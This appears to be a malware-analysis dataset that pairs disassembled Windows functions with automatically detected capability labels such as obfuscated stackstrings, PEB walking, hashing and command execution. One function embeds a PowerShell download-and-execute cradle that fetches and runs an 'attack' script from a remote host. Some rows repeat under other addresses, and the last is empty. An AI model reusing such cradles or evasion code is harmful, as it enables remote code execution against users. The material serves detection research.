joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000b500
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov rbx, qword [0x1400181c0]
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x90012
mov dword [rbp - 0x1c], 0xd0004
mov dword [rbp - 0x18], 0x3a000d
mov dword [rbp - 0x14], 0x41005e
mov dword [rbp - 0x10], 0x20005
mov dword [rbp - 0xc], 0x9001f
call fcn.1400029c0
mov rcx, rax
call rbx
mov rbx, qword [0x1400181c0]
lea rcx, [rbp - 0x20]
mov qword [0x1400181a0], rax
mov dword [rbp - 0x20], 0x80016
mov dword [rbp - 0x1c], 0x8000f
mov dword [rbp - 0x18], 0x6c000f
mov dword [rbp - 0x14], 0x410018
mov dword [rbp - 0x10], 0x20005
mov dword [rbp - 0xc], 0x9001f
call fcn.1400029c0
mov rcx, rax
call rbx
movdqa xmm0, xmmword [0x140016d30]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140018130]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x1400181b0], rax
mov word [rbp - 0x10], 0x2706
mov byte [rbp - 0xe], 0x6f
call fcn.140004620
mov rcx, qword [0x1400181a0]
mov rdx, rax
call rbx
mov rbx, qword [0x140018130]
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 0xd040912
mov dword [rbp - 0x1c], 0xa144c0d
mov dword [rbp - 0x18], 0x6c071b02
mov word [rbp - 0x14], 0x743e
call fcn.140001180
mov rcx, qword [0x1400181a0]
mov rdx, rax
call rbx
mov rbx, qword [0x140018130]
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x4150f08
mov dword [rbp - 0x1c], 0x1b096713
mov dword [rbp - 0x18], 0x67161e2e
mov word [rbp - 0x14], 0x7428
call fcn.140001180
mov rcx, qword [0x1400181b0]
mov rdx, rax
call rbx
movdqa xmm0, xmmword [0x140016df0]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140018130]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x1400180e8], rax
mov byte [rbp - 0x10], 0x70
call fcn.140004330
mov rcx, qword [0x1400181b0]
mov rdx, rax
call rbx
movdqa xmm0, xmmword [0x140016d90]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140018130]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x1400180f0], rax
mov dword [rbp - 0x10], 0x720a1c14
call fcn.140002660
mov rcx, qword [0x1400181b0]
mov rdx, rax
call rbx
movdqa xmm0, xmmword [0x140016d20]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140018130]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x1400180e0], rax
mov byte [rbp - 0x10], 0x70
call fcn.140004330
mov rcx, qword [0x1400181b0]
mov rdx, rax
call rbx
movdqa xmm0, xmmword [0x140016cb0]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140018130]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x1400180d8], rax
mov dword [rbp - 0x10], 0x33011f19
mov byte [rbp - 0xc], 0x74
call fcn.140003130
mov rcx, qword [0x1400181b0]
mov rdx, rax
call rbx
movdqa xmm0, xmmword [0x140016d80]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140018130]
movdqu xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x10], 0x311e
mov byte [rbp - 0xe], 0x6f
call fcn.140004620
mov rcx, qword [0x1400181b0]
mov rdx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
mov r12, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop rbp
jmp rax
Function at 0x14000c9f0
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rsi, rcx
mov rdi, qword [rax + 0x18]
add rdi, 0x20
mov rbx, qword [rdi]
cmp rbx, rdi
je 0x14000ca52
nop dword [rax + rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [rbx + 0x40]
mov rdx, rsi
mov r8, rax
call fcn.14000b1a0
test al, al
jne 0x14000ca64
mov rbx, qword [rbx]
cmp rbx, rdi
jne 0x14000ca20
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rax, qword [rbx + 0x20]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov eax, 0x73
mov dword [rbp - 0x20], 0x24000a
lea rcx, [rbp - 0x20]
mov word [rbp - 0xc], ax
mov dword [rbp - 0x1c], 0x2f0033
mov dword [rbp - 0x18], 0x450024
mov dword [rbp - 0x14], 0x2e002e
mov dword [rbp - 0x10], 0x2b0032
call fcn.140004fd0
mov rcx, rax
call 0x14000c9f0
mov qword [0x1400181b8], rax
lea rcx, [rbp - 0x20]
mov eax, 0x61
mov dword [rbp - 0x20], 0x24000a
mov word [rbp - 0x10], ax
mov dword [rbp - 0x1c], 0x2f0033
mov dword [rbp - 0x18], 0x450024
mov dword [rbp - 0x14], 0x5d005f
call fcn.1400022a0
mov rcx, rax
call 0x14000c9f0
lea rcx, [rbp - 0x20]
mov qword [0x1400181a8], rax
mov dword [rbp - 0x20], 0x15002f
mov dword [rbp - 0x1c], 0xd0005
mov dword [rbp - 0x18], 0x9000d
call fcn.140004e60
mov rcx, rax
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rbp
jmp 0x14000c9f0
Function at 0x14000cef0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rsi, rcx
mov rdi, qword [rax + 0x18]
add rdi, 0x20
mov rbx, qword [rdi]
cmp rbx, rdi
je 0x14000ca52
nop dword [rax + rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [rbx + 0x40]
mov rdx, rsi
mov r8, rax
call fcn.14000b1a0
test al, al
jne 0x14000ca64
mov rbx, qword [rbx]
cmp rbx, rdi
jne 0x14000ca20
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rax, qword [rbx + 0x20]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov eax, 0x73
mov dword [rbp - 0x20], 0x24000a
lea rcx, [rbp - 0x20]
mov word [rbp - 0xc], ax
mov dword [rbp - 0x1c], 0x2f0033
mov dword [rbp - 0x18], 0x450024
mov dword [rbp - 0x14], 0x2e002e
mov dword [rbp - 0x10], 0x2b0032
call fcn.140004fd0
mov rcx, rax
call 0x14000c9f0
mov qword [0x1400181b8], rax
lea rcx, [rbp - 0x20]
mov eax, 0x61
mov dword [rbp - 0x20], 0x24000a
mov word [rbp - 0x10], ax
mov dword [rbp - 0x1c], 0x2f0033
mov dword [rbp - 0x18], 0x450024
mov dword [rbp - 0x14], 0x5d005f
call fcn.1400022a0
mov rcx, rax
call 0x14000c9f0
lea rcx, [rbp - 0x20]
mov qword [0x1400181a8], rax
mov dword [rbp - 0x20], 0x15002f
mov dword [rbp - 0x1c], 0xd0005
mov dword [rbp - 0x18], 0x9000d
call fcn.140004e60
mov rcx, rax
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rbp
jmp 0x14000c9f0
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140004460]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140004470]
mov dword [rax], 1
mov rax, qword [0x140004480]
mov dword [rax], 1
mov rax, qword [0x140004410]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140004450]
mov dword [0x14000700c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140004520]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140004500]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400043c0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001450
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
call dbg.__main
lea rax, str.powershell.exe__IEX___new_object_net.webclient_.downloadstring_http:__192.168.1.114_powershell_attack.txt____
mov rcx, rax
call sym.system
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140001740
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x40bfc0
Capabilities:
Query environment variable

Disassembly:
push r13
push r12
push rsi
push rbx
sub rsp, 0x148
mov qword [rsp + 0x40], 0
mov rbx, rcx
mov r13, rdx
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x88], 0
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x98], 0
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 0
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xb8], 0
mov qword [rsp + 0xc0], 0
mov qword [rsp + 0xc8], 0
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0xe0], 0
mov qword [rsp + 0xe8], 0
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0xf8], 0
mov qword [rsp + 0x100], 0
mov qword [rsp + 0x108], 0
mov qword [rsp + 0x110], 0
mov qword [rsp + 0x118], 0
mov qword [rsp + 0x120], 0
mov qword [rsp + 0x128], 0
mov qword [rsp + 0x130], 0
mov qword [rsp + 0x138], 0
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
call qword [sym.imp.libcurl_4.dll_curl_easy_init]
mov r12, rax
test rax, rax
je 0x40c300
lea rsi, [rsp + 0x40]
mov r8, rbx
mov rcx, rax
mov rbx, qword [sym.imp.libcurl_4.dll_curl_easy_setopt]
mov edx, 0x2712
call rbx
mov r8d, 1
mov edx, 0x4a
mov rcx, r12
call rbx
mov r8d, 0xf
mov edx, 0x4e
mov rcx, r12
call rbx
mov r8, rsi
mov edx, 0x271a
mov rcx, r12
call rbx
mov r8d, 1
mov edx, 0x63
mov rcx, r12
call rbx
mov r8d, 1
mov edx, 0x79
mov rcx, r12
call rbx
lea r8, [0x0040a5d0]
mov edx, 0x4e2b
mov rcx, r12
call rbx
lea r8, [rsp + 0x20]
mov edx, 0x2711
mov rcx, r12
call rbx
mov rax, qword [0x0062c860]
mov r8, qword [rax]
test r8, r8
je 0x40c290
mov edx, 0x2714
mov rcx, r12
call rbx
mov rax, qword [0x0062c870]
mov edx, 0x65
mov rcx, r12
mov r8d, dword [rax]
call rbx
mov rcx, r12
call qword [sym.imp.libcurl_4.dll_curl_easy_perform]
test eax, eax
jne 0x40c2e0
mov rcx, qword [rsp + 0x20]
test rcx, rcx
je 0x40c24b
cmp qword [rsp + 0x28], 0
jne 0x40c280
lea rdx, str.Empty_data_received_for_config
mov ecx, 1
xor r13d, r13d
call fcn.0040a7c0
mov rcx, r12
call qword [sym.imp.libcurl_4.dll_curl_easy_cleanup]
mov rax, r13
add rsp, 0x148
pop rbx
pop rsi
pop r12
pop r13
ret
mov r8, r13
xor edx, edx
call fcn.005938f0
mov r13, rax
jmp 0x40c25f
lea rcx, str.http_proxy
call sub.msvcrt.dll_getenv
test rax, rax
je 0x40c228
lea rcx, str.all_proxy
call sub.msvcrt.dll_getenv
lea rcx, str.all_proxy
test rax, rax
je 0x40c320
call sub.msvcrt.dll_getenv
mov rcx, r12
mov edx, 0x2714
mov r8, rax
call rbx
mov rcx, r12
call qword [sym.imp.libcurl_4.dll_curl_easy_perform]
test eax, eax
je 0x40c239
nop dword [rax]
mov r8, rsi
mov ecx, 1
xor r13d, r13d
lea rdx, str.Remote_config_read_failed:__s
call fcn.0040a7c0
jmp 0x40c25f
lea rdx, str.Remote_config_init_failed_
mov ecx, 1
xor r13d, r13d
call fcn.0040a7c0
jmp 0x40c268
lea rcx, str.ALL_PROXY
call sub.msvcrt.dll_getenv
test rax, rax
je 0x40c340
lea rcx, str.ALL_PROXY
jmp 0x40c2b9
lea r8, [0x005d2c03]
mov edx, 0x2714
mov rcx, r12
call rbx
jmp 0x40c228
Function at 0x4159c0
Capabilities:
Hash data using sha512

Disassembly:
push rdi
push rbx
sub rsp, 0x68
mov rbx, rcx
test rcx, rcx
je 0x415ab2
lea rax, [rdx - 1]
cmp rax, 0x3f
ja 0x415a88
xor eax, eax
vmovdqu xmm3, xmmword [0x005d5480]
mov qword [rsp + 0x29], 0
vinsertf128 ymm0, ymm3, xmmword [0x005d5490], 1
lea r8, [rcx + 0x40]
mov word [rsp + 0x3e], ax
mov ecx, 0x16
xor eax, eax
mov rdi, r8
mov byte [rsp + 0x20], dl
vmovdqu xmm4, xmmword [0x005d54a0]
rep stosq qword [rdi], rax
mov byte [rsp + 0x31], 0
mov qword [rsp + 0x21], 0x10100
vmovdqu xmm2, xmmword [rsp + 0x20]
mov qword [rsp + 0x32], 0
mov dword [rsp + 0x3a], 0
vinsertf128 ymm1, ymm2, xmmword [rsp + 0x30], 1
vxorps ymm0, ymm0, ymm1
vextractf128 xmmword [rbx + 0x10], ymm0, 1
vmovups xmmword [rbx], xmm0
vinsertf128 ymm0, ymm4, xmmword [0x005d54b0], 1
vextractf128 xmmword [rbx + 0x30], ymm0, 1
vmovups xmmword [rbx + 0x20], xmm0
mov dword [rbx + 0xe4], edx
vzeroupper
add rsp, 0x68
pop rbx
pop rdi
ret
mov edx, 0xf0
call fcn.00417ee0
cmp byte [rbx + 0xe8], 0
je 0x415aa3
mov qword [rbx + 0x58], 0xffffffffffffffff
mov qword [rbx + 0x50], 0xffffffffffffffff
mov eax, 0xffffffff
jmp 0x415a7a
mov eax, 0xffffffff
jmp 0x415a7a

Function at 0x415ac0
Capabilities:
Hash data using sha512

Disassembly:
push r13
push r12
push rdi
sub rsp, 0xe0
mov r10, r8
mov r12, rcx
mov r8, r9
test rcx, rcx
je 0x415c49
lea rax, [rdx - 1]
cmp rax, 0x3f
ja 0x415c18
lea rax, [r9 - 1]
cmp rax, 0x3f
ja 0x415c18
test r10, r10
je 0x415c18
mov byte [rsp + 0x21], r9b
xor eax, eax
vmovdqu xmm3, xmmword [0x005d5480]
vinsertf128 ymm0, ymm3, xmmword [0x005d5490], 1
lea r9, [rcx + 0x40]
mov word [rsp + 0x3e], ax
xor eax, eax
mov ecx, 0x16
lea r13, [rsp + 0x60]
mov rdi, r9
mov byte [rsp + 0x20], dl
vmovdqu xmm4, xmmword [0x005d54a0]
rep stosq qword [rdi], rax
mov rdi, r13
mov ecx, 0x10
mov qword [rsp + 0x2a], 0
rep stosq qword [rdi], rax
mov rcx, r13
mov qword [rsp + 0x22], 0x101
vmovdqu xmm2, xmmword [rsp + 0x20]
mov dword [r12 + 0xe4], edx
mov rdx, r10
mov qword [rsp + 0x32], 0
mov dword [rsp + 0x3a], 0
vinsertf128 ymm1, ymm2, xmmword [rsp + 0x30], 1
vxorps ymm0, ymm0, ymm1
vextractf128 xmmword [r12 + 0x10], ymm0, 1
vmovups xmmword [r12], xmm0
vinsertf128 ymm0, ymm4, xmmword [0x005d54b0], 1
vextractf128 xmmword [r12 + 0x30], ymm0, 1
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
vmovups xmmword [r12 + 0x20], xmm0
vzeroupper
call sub.msvcrt.dll_memcpy
mov r8d, pe_nt_image_headers64
mov rdx, r13
mov rcx, r12
call fcn.00415710
mov edx, pe_nt_image_headers64
mov rcx, r13
call fcn.00417ee0
xor eax, eax
add rsp, 0xe0
pop rdi
pop r12
pop r13
ret
mov edx, 0xf0
mov rcx, r12
call fcn.00417ee0
cmp byte [r12 + 0xe8], 0
je 0x415c39
mov qword [r12 + 0x58], 0xffffffffffffffff
mov qword [r12 + 0x50], 0xffffffffffffffff
mov eax, 0xffffffff
jmp 0x415c04
mov eax, 0xffffffff
jmp 0x415c04
Function at 0x41ba20
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
mov r9, r8
test rcx, rcx
je 0x41ba70
test rdx, rdx
je 0x41ba70
mov r8, rdx
xor ecx, ecx
xor edx, edx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.msvcrt.dll__beginthreadex]
test rax, rax
mov qword [rbx], rax
sete al
movzx eax, al
neg eax
add rsp, 0x30
pop rbx
ret
mov eax, 0xffffffff
jmp 0x41ba61
Function at 0x431150
Capabilities:
Hash data using sha512

Disassembly:
push r13
push r12
sub rsp, 0x28
vmovdqu xmm1, xmmword [0x005d5e00]
vpxor xmm0, xmm0, xmm0
vmovdqu xmm2, xmmword [0x005d5e10]
vmovdqu xmm3, xmmword [0x005d5e20]
vmovdqu xmm4, xmmword [0x005d5e30]
mov r12, rcx
mov r13, rdx
vmovups xmmword [rcx + 0x80], xmm1
mov rdx, r8
vmovups xmmword [rcx + 0x90], xmm2
mov r8, r9
vmovups xmmword [rcx + 0xa0], xmm3
vmovups xmmword [rcx + 0xb0], xmm4
vmovups xmmword [rcx + 0xc0], xmm0
mov qword [rcx + 0xd0], 0
call fcn.00430d90
mov rdx, r13
mov rcx, r12
add rsp, 0x28
pop r12
pop r13
jmp fcn.00430ea0
Function at 0x43adc0
Capabilities:
Hash data using sha256

Disassembly:
push rdi
sub rsp, 0x20
lea eax, [rdx - 1]
mov r8, rcx
cmp al, 0x1f
ja 0x43ae40
mov byte [rsp], dl
mov eax, 0x101
lea rdx, [rcx + 0x20]
mov word [rsp + 2], ax
mov ecx, 0x14
xor eax, eax
mov rdi, rdx
mov byte [rsp + 1], 0
rep stosq qword [rdi], rax
mov dword [rsp + 4], 0
mov qword [rsp + 8], 0
vmovdqu xmm1, xmmword [rsp]
mov qword [rsp + 0x10], 0
mov qword [rsp + 0x18], 0
vinsertf128 ymm0, ymm1, xmmword [rsp + 0x10], 1
vxorps ymm0, ymm0, ymmword [0x005d6240]
vmovdqu ymmword [r8], ymm0
vzeroupper
add rsp, 0x20
pop rdi
ret
mov eax, 0xffffffff
jmp 0x43ae32

Function at 0x43bcd0
Capabilities:
Hash data using sha256

Disassembly:
push rdi
push rbx
sub rsp, 0x88
mov eax, edx
mov r10, rcx
movzx edx, r9b
lea ecx, [rax - 1]
cmp cl, 0x1f
ja 0x43be86
lea ecx, [r9 - 1]
cmp cl, 7
ja 0x43be7f
test r8, r8
je 0x43be7f
mov byte [rsp + 0x20], al
mov eax, 0x101
mov ecx, 0x14
mov byte [rsp + 0x21], r9b
lea r9, [r10 + 0x20]
mov word [rsp + 0x22], ax
mov rdi, r9
xor eax, eax
rep stosq qword [rdi], rax
lea rbx, [rsp + 0x40]
mov rax, r8
mov dword [rsp + 0x24], 0
mov qword [rsp + 0x28], 0
mov r9, rbx
vmovdqu xmm1, xmmword [rsp + 0x20]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
vinsertf128 ymm0, ymm1, xmmword [rsp + 0x30], 1
vxorps ymm0, ymm0, ymmword [0x005d6240]
mov qword [rsp + 0x40], 0
vmovdqu ymmword [r10], ymm0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
cmp edx, 8
jae 0x43be58
xor ecx, ecx
test dl, 4
jne 0x43be40
test dl, 2
jne 0x43be28
and edx, 1
jne 0x43be18
mov r8d, 0x40
mov rdx, rbx
mov rcx, r10
vzeroupper
call fcn.0043bbd0
mov rax, rbx
nop word [rax + rax]
lea rdi, [rsp + 0x80]
mov rdx, rax
add rax, 1
mov byte [rdx], 0
cmp rax, rdi
jne 0x43bdf0
xor eax, eax
add rsp, 0x88
pop rbx
pop rdi
ret
movzx eax, byte [rax + rcx]
mov byte [r9 + rcx], al
jmp 0x43bdd3
movzx r8d, word [rax + rcx]
mov word [r9 + rcx], r8w
add rcx, 2
and edx, 1
je 0x43bdd3
jmp 0x43be18
mov ecx, dword [rax]
mov dword [r9], ecx
mov ecx, 4
test dl, 2
je 0x43bdce
jmp 0x43be28
mov r11d, edx
xor eax, eax
and r11d, 0xfffffff8
mov ecx, eax
add eax, 8
mov r9, qword [r8 + rcx]
mov qword [rbx + rcx], r9
cmp eax, r11d
jb 0x43be61
lea r9, [rbx + rax]
add rax, r8
jmp 0x43bdc2
mov eax, 0xffffffff
jmp 0x43be09
mov eax, 0xffffffff
jmp 0x43be09
Function at 0x4c9440
Capabilities:
Encode data using xor

Disassembly:
mov r9d, 0x48
jmp fcn.004c6560
Function at 0x4cd750
Capabilities:
Encode data using base64

Disassembly:
mov r9d, 0x88
jmp fcn.004c9a70

Function at 0x4cd970
Capabilities:
Encode data using base64

Disassembly:
mov r9d, 0x48
jmp fcn.004c9a70
Function at 0x507f20
Capabilities:
Hash data using sha256

Disassembly:
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x140
xor eax, eax
vmovdqu xmm3, xmmword [0x0060ea80]
vinsertf128 ymm0, ymm3, xmmword [0x0060ea90], 1
vmovdqu xmm4, xmmword [rdx]
vmovdqu xmm5, xmmword [rdx + 0x10]
mov rsi, r8
mov r13, rcx
mov ecx, 0x12
mov qword [rsp + 0x20], 0x1012020
lea r8, [rsp + 0xa0]
vmovups xmmword [rsp + 0x40], xmm4
mov rdi, r8
vmovups xmmword [rsp + 0x50], xmm5
rep stosq qword [rdi], rax
lea r12, [rsp + 0x80]
mov qword [rsp + 0x28], 0
vmovdqu xmm2, xmmword [rsp + 0x20]
lea r8, [rsp + 0x40]
mov rcx, r12
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
mov rdx, r8
vinsertf128 ymm1, ymm2, xmmword [rsp + 0x30], 1
vxorps ymm0, ymm0, ymm1
mov qword [rsp + 0x60], 0
vextractf128 xmmword [rsp + 0x90], ymm0, 1
vmovups xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x68], 0
mov dword [rdi], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
vzeroupper
call fcn.00507a70
mov rdx, r13
mov rcx, r12
call fcn.00507a70
mov eax, dword [rsp + 0x130]
lea r13, [rsp + 0xb0]
cmp eax, 0x40
ja 0x5080b8
add dword [rsp + 0xa0], eax
mov ebx, pe_nt_image_headers64
mov ecx, eax
mov dword [rsp + 0xa8], 0xffffffff
sub ebx, eax
add rcx, r13
mov eax, ebx
shr eax, 2
je 0x50805c
sub eax, 1
xor edx, edx
lea r8, [rax*4 + 4]
call sub.msvcrt.dll_memset
mov rcx, rax
mov edx, ebx
and edx, 3
je 0x50807c
mov eax, ebx
sub eax, edx
cmp ebx, eax
jbe 0x50807c
sub edx, 1
add rcx, rax
lea r8, [rdx + 1]
xor edx, edx
call sub.msvcrt.dll_memset
mov rdx, r13
mov rcx, r12
call fcn.00506800
vmovdqu xmm1, xmmword [rsp + 0x80]
vmovdqu xmm2, xmmword [rsp + 0x90]
vmovups xmmword [rsi], xmm1
vmovups xmmword [rsi + 0x10], xmm2
add rsp, 0x140
pop rbx
pop rsi
pop rdi
pop r12
pop r13
ret
add dword [rsp + 0xa0], 0x40
mov rdx, r13
mov rcx, r12
call fcn.00506800
mov edi, dword [rsp + 0x130]
lea ebx, [rdi - 0x40]
mov eax, ebx
mov dword [rsp + 0x130], ebx
shr eax, 2
je 0x5080fe
lea rdx, [rsp + 0xf0]
sub eax, 1
mov rcx, r13
lea r8, [rax*4 + 4]
call sub.msvcrt.dll_memmove
mov edx, ebx
and edx, 3
je 0x50812a
mov eax, ebx
sub eax, edx
cmp ebx, eax
jbe 0x50812a
lea rcx, [r13 + rax]
sub edx, ebx
lea r8d, [rdi + rdx - 0x41]
lea rdx, [rsp + rax + 0xf0]
add r8, 1
call sub.msvcrt.dll_memmove
mov eax, dword [rsp + 0x130]
jmp 0x508022
Function at 0x515140
Capabilities:
Hash data using sha256

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0xc8
vmovdqu xmm0, xmmword [0x0060eae0]
vmovdqu xmm1, xmmword [0x0060eaf0]
lea rbx, [rsp + 0x5f]
mov rsi, rcx
and rbx, 0xffffffffffffffc0
mov rcx, rbx
vmovups xmmword [rbx + 0x40], xmm0
vmovups xmmword [rbx + 0x50], xmm1
mov qword [rbx + 0x60], 0
call fcn.00514990
mov rax, qword [rbx + 0x60]
mov ecx, eax
and ecx, 0x3f
lea edx, [rcx + 1]
mov byte [rbx + rcx], pe_nt_image_headers64
cmp edx, 0x38
jbe 0x515270
mov ecx, edx
mov eax, 0x40
add rcx, rbx
sub eax, edx
mov edx, eax
je 0x5151bc
xor eax, eax
mov r8d, eax
add eax, 1
mov byte [rcx + r8], 0
cmp eax, edx
jb 0x5151ad
lea r12, [rbx + 0x40]
mov rcx, rbx
mov rdx, r12
call fcn.0050cfc0
mov rax, qword [rbx + 0x60]
mov qword [rbx], 0
mov qword [rbx + 8], 0
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0
mov qword [rbx + 0x20], 0
mov qword [rbx + 0x28], 0
mov qword [rbx + 0x30], 0
shl rax, 3
bswap rax
mov rdx, r12
mov rcx, rbx
mov qword [rbx + 0x38], rax
call fcn.0050cfc0
mov eax, dword [rbx + 0x40]
bswap eax
mov dword [rsi], eax
mov eax, dword [rbx + 0x44]
bswap eax
mov dword [rsi + 4], eax
mov eax, dword [rbx + 0x48]
bswap eax
mov dword [rsi + 8], eax
mov eax, dword [rbx + 0x4c]
bswap eax
mov dword [rsi + 0xc], eax
mov eax, dword [rbx + 0x50]
bswap eax
mov dword [rsi + 0x10], eax
mov eax, dword [rbx + 0x54]
bswap eax
mov dword [rsi + 0x14], eax
mov eax, dword [rbx + 0x58]
bswap eax
mov dword [rsi + 0x18], eax
mov eax, dword [rbx + 0x5c]
bswap eax
mov dword [rsi + 0x1c], eax
add rsp, 0xc8
pop rbx
pop rsi
pop rdi
pop r12
ret
mov ecx, 0x38
sub ecx, edx
add rdx, rbx
cmp ecx, 8
jae 0x5152a8
test cl, 4
jne 0x5152d0
lea r12, [rbx + 0x40]
test ecx, ecx
je 0x515206
mov byte [rdx], 0
test cl, 2
jne 0x5152f0
mov rax, qword [rbx + 0x60]
jmp 0x515206
lea r12, [rbx + 0x40]
mov eax, ecx
sub ecx, 1
mov qword [rdx + rax - 8], 0
shr ecx, 3
xor eax, eax
mov rdi, rdx
rep stosq qword [rdi], rax
mov rax, qword [rbx + 0x60]
jmp 0x515206
mov dword [rdx], 0
lea r12, [rbx + 0x40]
mov dword [rdx + rcx - 4], 0
mov rax, qword [rbx + 0x60]
jmp 0x515206
xor eax, eax
mov word [rdx + rcx - 2], ax
jmp 0x515298
Function at 0x5222e0
Capabilities:
Hash data using sha256

Disassembly:
